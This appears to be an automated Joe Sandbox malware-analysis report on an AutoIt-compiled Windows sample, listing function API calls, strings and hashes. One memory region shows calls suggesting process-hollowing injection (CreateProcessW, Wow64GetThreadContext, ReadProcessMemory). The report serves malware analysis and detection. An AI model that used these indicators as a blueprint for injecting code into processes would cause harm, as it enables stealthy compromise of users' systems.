Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: dacc80bcb9758b25d19ba75ba07b92241a7b2a1dc117db1c03060b72a24ba095
Instruction ID: 2286a6a0918bbe5624e615a0f4c49018079e67171601d7939882b4d4e35c525d
Opcode Fuzzy Hash: dacc80bcb9758b25d19ba75ba07b92241a7b2a1dc117db1c03060b72a24ba095
Instruction Fuzzy Hash: 95717D72508301DEC704EF65EC419AFBBE8FF98351F80052EF4499B1A1EB719989CB92

Function 00093A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00093A50
LoadCursorW.USER32(00000000,00007F00), ref: 00093A5F
LoadIconW.USER32(00000063), ref: 00093A76
LoadIconW.USER32(000000A4), ref: 00093A88
LoadIconW.USER32(000000A2), ref: 00093A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00093AC0
RegisterClassExW.USER32(?), ref: 00093B16

Part of subcall function 00093041: GetSysColorBrush.USER32(0000000F), ref: 00093074
Part of subcall function 00093041: RegisterClassExW.USER32(00000030), ref: 0009309E
Part of subcall function 00093041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 000930AF
Part of subcall function 00093041: InitCommonControlsEx.COMCTL32(?), ref: 000930CC
Part of subcall function 00093041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 000930DC
Part of subcall function 00093041: LoadIconW.USER32(000000A9), ref: 000930F2
Part of subcall function 00093041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00093101

Strings

0, xrefs: 00093AF4
AutoIt v3, xrefs: 00093B05
#, xrefs: 00093AFB

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 5fac16e1e808333745c8ea7f989804a0b73dfa7352fccf3f41037228f6e69a89
Instruction ID: a93cfe8c381f86651959ece2a528744875d224eff8e4dd73d34fca7b78eeda33
Opcode Fuzzy Hash: 5fac16e1e808333745c8ea7f989804a0b73dfa7352fccf3f41037228f6e69a89
Instruction Fuzzy Hash: 17214670D10708EFEF10DFA4ED19B9D7BB2FB08712F00412AF504AAAA1D3B566819F84

Function 00093633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 000936D2
KillTimer.USER32(?,00000001), ref: 000936FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0009371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0009372A
CreatePopupMenu.USER32 ref: 0009373E
PostQuitMessage.USER32(00000000), ref: 0009374D

Strings

TaskbarCreated, xrefs: 00093725

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: ebd6b279038980525ff70eb1cde14b4306032f70999d60459548c4b78d90e945
Instruction ID: 415dfd7e9cb0a84d4d6fe26c70e366db44a389ce1828760fae3903050e948a8f
Opcode Fuzzy Hash: ebd6b279038980525ff70eb1cde14b4306032f70999d60459548c4b78d90e945
Instruction Fuzzy Hash: 6F414BB1208605FBDF745FA4DD19FBD37E6E701301F104129F9019A6E2C7609D85BB62

Function 00093766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMDLINERAW, xrefs: 000937FB
/ErrorStdOut, xrefs: 0009387D
/AutoIt3ExecuteScript, xrefs: 000938BC
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 000937AE
/AutoIt3ExecuteLine, xrefs: 000938A7
/AutoIt3OutputDebug, xrefs: 00093892
CMDLINE, xrefs: 00093822

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
API String ID: 1825951767-3513169116
Opcode ID: 23ad3087728f2c4ec0a399f5fdb0dc75ee2240e8e0f2d71fe74de7b75538648b
Instruction ID: a3e53e28809ff622cb6f36e7944e32f9da9a50c2e9c66ab26976ec637f6d5fbb
Opcode Fuzzy Hash: 23ad3087728f2c4ec0a399f5fdb0dc75ee2240e8e0f2d71fe74de7b75538648b
Instruction Fuzzy Hash: ECA16C7291021D9ADF14EBA4DC91EEEB779BF14300F04042EF426B7192EF745A49EB60

Function 01875250 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01875321
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 01875547

Memory Dump Source

Source File: 00000002.00000002.1320756058.0000000001872000.00000040.00000020.00020000.00000000.sdmp, Offset: 01872000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1872000_2NJzy3tiny.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
Instruction ID: 6f6c54acb775f53199c673419749083646e54fdaaf5566e5d638fb7e9d840480
Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
Instruction Fuzzy Hash: CEA10870E00209EBDB14CFA4C894BEEBBB5FF48305F208559E505BB290D7759A81CB95

Function 000939D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00093A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00093A24
ShowWindow.USER32(00000000,?,?), ref: 00093A38
ShowWindow.USER32(00000000,?,?), ref: 00093A41

Strings

edit, xrefs: 00093A1E
AutoIt v3, xrefs: 000939FB, 00093A00, 00093A01

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 348874453e7cd5805437bb6cb6ecddaaf7b4f3502b36ea9d1bf9e3365e04acb8
Instruction ID: 02bcc44b6c36f03be90bcc2059802b31ddbd2a5de0c23bf76893d7a493fe2f3c
Opcode Fuzzy Hash: 348874453e7cd5805437bb6cb6ecddaaf7b4f3502b36ea9d1bf9e3365e04acb8
Instruction Fuzzy Hash: B4F03A70540790FEEB315B23AC18E6B3E7ED7C6F51F00402EB908AA9B0C2A11881CBB0

Function 01875020 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 145
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01874F10: Sleep.KERNELBASE(000001F4), ref: 01874F21

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01875142

Strings

O3KNAAPMWHDLAM786AC1QAE, xrefs: 018751A5, 018751A8

Memory Dump Source

Source File: 00000002.00000002.1320756058.0000000001872000.00000040.00000020.00020000.00000000.sdmp, Offset: 01872000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1872000_2NJzy3tiny.jbxd

Similarity

API ID: CreateFileSleep
String ID: O3KNAAPMWHDLAM786AC1QAE
API String ID: 2694422964-2825358239
Opcode ID: e34c6af9d46529a53d7211c0769fcc8676dd61d2627991c398acbfeaf40bcb32
Instruction ID: 5f05becf788856f182d0383edd25e6ebdbe6686310bd5268f2f03e8b78c9f5f1
Opcode Fuzzy Hash: e34c6af9d46529a53d7211c0769fcc8676dd61d2627991c398acbfeaf40bcb32
Instruction Fuzzy Hash: 4B519470D0428DEAEF11DBA4D848BEEBBB4AF15304F044199E608BB2C1D7B94B44CB66

Function 0009407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 000CD3D7

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

_memset.LIBCMT ref: 000940FC
_wcscpy.LIBCMT ref: 00094150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00094160

Strings

Line: , xrefs: 000CD400

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: fd7cd346bd6d82fad519f23eeadb66c88de6594e8378192c85fcc1ba64f6dcb2
Instruction ID: 27573c3f03390e6c9621d991445186abfbaaa66d3752d9e8a297c4b3942e65bb
Opcode Fuzzy Hash: fd7cd346bd6d82fad519f23eeadb66c88de6594e8378192c85fcc1ba64f6dcb2
Instruction Fuzzy Hash: 3C31CF72008704EFDB61EB60DC56FDF77D8AF84300F10491EF589960A2EB70A689DB86

Function 000B541D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 000B547B
_memcpy_s.LIBCMT ref: 000B54ED
__read_nolock.LIBCMT ref: 000B554B
__filbuf.LIBCMT ref: 000B556E
_memset.LIBCMT ref: 000B55B2

Part of subcall function 000B8B28: __getptd_noexit.LIBCMT ref: 000B8B28

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: bfd08c3fd9bdf98ede4c5e6491684ef83afa0bd006891173fbe6164eab4e2a2a
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: 3B518C70A00F05DBDB349FA9DC907EE77E6AF40327F2487A9E825962D1D7719E908B40

Function 0009686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00094DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,001552F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00094E0F

_free.LIBCMT ref: 000CE263
_free.LIBCMT ref: 000CE2AA

Part of subcall function 00096A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00096BAD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 000CE039
Bad directive syntax error, xrefs: 000CE292

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 715809a61591088a2c7c9337890a2df5b2fa7cb76ba57e8784d1b736da0ba06a
Instruction ID: 6f3b0ed9cb7840a56c92f184464822f80c5303af318d81705fe4e01e88d70d13
Opcode Fuzzy Hash: 715809a61591088a2c7c9337890a2df5b2fa7cb76ba57e8784d1b736da0ba06a
Instruction Fuzzy Hash: A6918E71914259AFCF14EFA4CC81EEEB7B8FF04310B14452DF815AB2A2DB70AA55DB90

Function 000935B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,000935A1,SwapMouseButtons,00000004,?), ref: 000935D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,000935A1,SwapMouseButtons,00000004,?,?,?,?,00092754), ref: 000935F5
RegCloseKey.KERNELBASE(00000000,?,?,000935A1,SwapMouseButtons,00000004,?,?,?,?,00092754), ref: 00093617

Strings

Control Panel\Mouse, xrefs: 000935D2

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 130763a8d202e476d7e19db4d33548412ec041d357faa59ca93b65168e048fd1
Instruction ID: c041aba0a0d1bd6a6d7150c4bd0a60a049177c50cbd35d6e8aab49182fa7a400
Opcode Fuzzy Hash: 130763a8d202e476d7e19db4d33548412ec041d357faa59ca93b65168e048fd1
Instruction Fuzzy Hash: 5C113375614208BADF208FA8D884AEFBBA9EF04740F008469F805D7210E2719E41ABA0

Function 01873F10 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 0187473D
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01874761
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01874783

Memory Dump Source

Source File: 00000002.00000002.1320756058.0000000001872000.00000040.00000020.00020000.00000000.sdmp, Offset: 01872000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1872000_2NJzy3tiny.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
Instruction ID: b73991fd4a5d648d664029cec45479ad2202e1451451daaeac96896030eae406
Opcode Fuzzy Hash: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
Instruction Fuzzy Hash: 56620C30A14258DBEB24DFA4C850BEEB776EF58304F1091A9D10DEB390E7769E81CB59

Function 000F955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00094EE5: _fseek.LIBCMT ref: 00094EFD

Part of subcall function 000F9734: _wcscmp.LIBCMT ref: 000F9824
Part of subcall function 000F9734: _wcscmp.LIBCMT ref: 000F9837

_free.LIBCMT ref: 000F96A2
_free.LIBCMT ref: 000F96A9
_free.LIBCMT ref: 000F9714

Part of subcall function 000B2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,000B9A24), ref: 000B2D69
Part of subcall function 000B2D55: GetLastError.KERNEL32(00000000,?,000B9A24), ref: 000B2D7B

_free.LIBCMT ref: 000F971C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 50af52b8f22919c11c7515362fb071ee60fc7e1c9e9e4129b0e36dbf2dd802cb
Instruction ID: 984f15f285f3bc99f6735202048094d4e64502b2393af5f09e8f0b0b2da0234e
Opcode Fuzzy Hash: 50af52b8f22919c11c7515362fb071ee60fc7e1c9e9e4129b0e36dbf2dd802cb
Instruction Fuzzy Hash: 155153B1D14218AFDF249F64DC41AEEBB79EF48300F10449EF209A7242DB715A81DF58

Function 000B470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000B47A0
__flush.LIBCMT ref: 000B47C0
__write.LIBCMT ref: 000B47F3
__flsbuf.LIBCMT ref: 000B4821

Part of subcall function 000B8B28: __getptd_noexit.LIBCMT ref: 000B8B28

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction ID: 1cadabac3935734316d9c2e5980635de26931ff1e9355f5701d8ef37095f8697
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: 5141D374A047469BDB28CEA9C8809EE7BE6EF46360B24813DE855C7642EF70DF41CB40

Function 000944A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000944CF

Part of subcall function 0009407C: _memset.LIBCMT ref: 000940FC
Part of subcall function 0009407C: _wcscpy.LIBCMT ref: 00094150
Part of subcall function 0009407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00094160

KillTimer.USER32(?,00000001,?,?), ref: 00094524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00094533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 000CD4B9

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 2ccc370505c146894fe78611eca4f2e06e721b11ae97c10dffef10d028b11571
Instruction ID: dc103f58e7061bbb65da553b5e6b508ea6b594500c65e427f42ac0377d265f46
Opcode Fuzzy Hash: 2ccc370505c146894fe78611eca4f2e06e721b11ae97c10dffef10d028b11571
Instruction Fuzzy Hash: A921D474904B84AFEB76CB648855FEBBBECAF05314F04009EE79E5A182C3742A85DB51

Function 00097285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000CEA39
GetOpenFileNameW.COMDLG32(?), ref: 000CEA83

Part of subcall function 00094750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00094743,?,?,000937AE,?), ref: 00094770

Part of subcall function 000B0791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 000B07B0

Strings

X, xrefs: 000CEA51

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 66ee1ae02b9663189191549b984b37219a6972625e4ea79d97c5c481ea4980ea
Instruction ID: ffba7c7b45e6fd91a824a093624a4df1148a04e29e962822109bb6036c11e493
Opcode Fuzzy Hash: 66ee1ae02b9663189191549b984b37219a6972625e4ea79d97c5c481ea4980ea
Instruction Fuzzy Hash: FD21A131A142889BCF519F94C845BEE7BF9AF49714F00401AE408BB242DBB45989DFA1

Function 000F8D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000F8DAC
__fread_nolock.LIBCMT ref: 000F8DC1

Strings

EA06, xrefs: 000F8DF3

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 2123e2c4237f7fdecf2edd01e2e9a2a5d7ee23ce16dda951e866e841cff73d4d
Instruction ID: b47c9d4fe24fcd9de80a6973db6be9eddb8f3960a897f228abd736c59f77f125
Opcode Fuzzy Hash: 2123e2c4237f7fdecf2edd01e2e9a2a5d7ee23ce16dda951e866e841cff73d4d
Instruction Fuzzy Hash: 2701B572D042187EDB28CAA8CC56EFEBBF8DF15311F00459AF556D2281E975E6089BA0

Function 000F98E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 000F98F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 000F990F

Strings

aut, xrefs: 000F9909

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
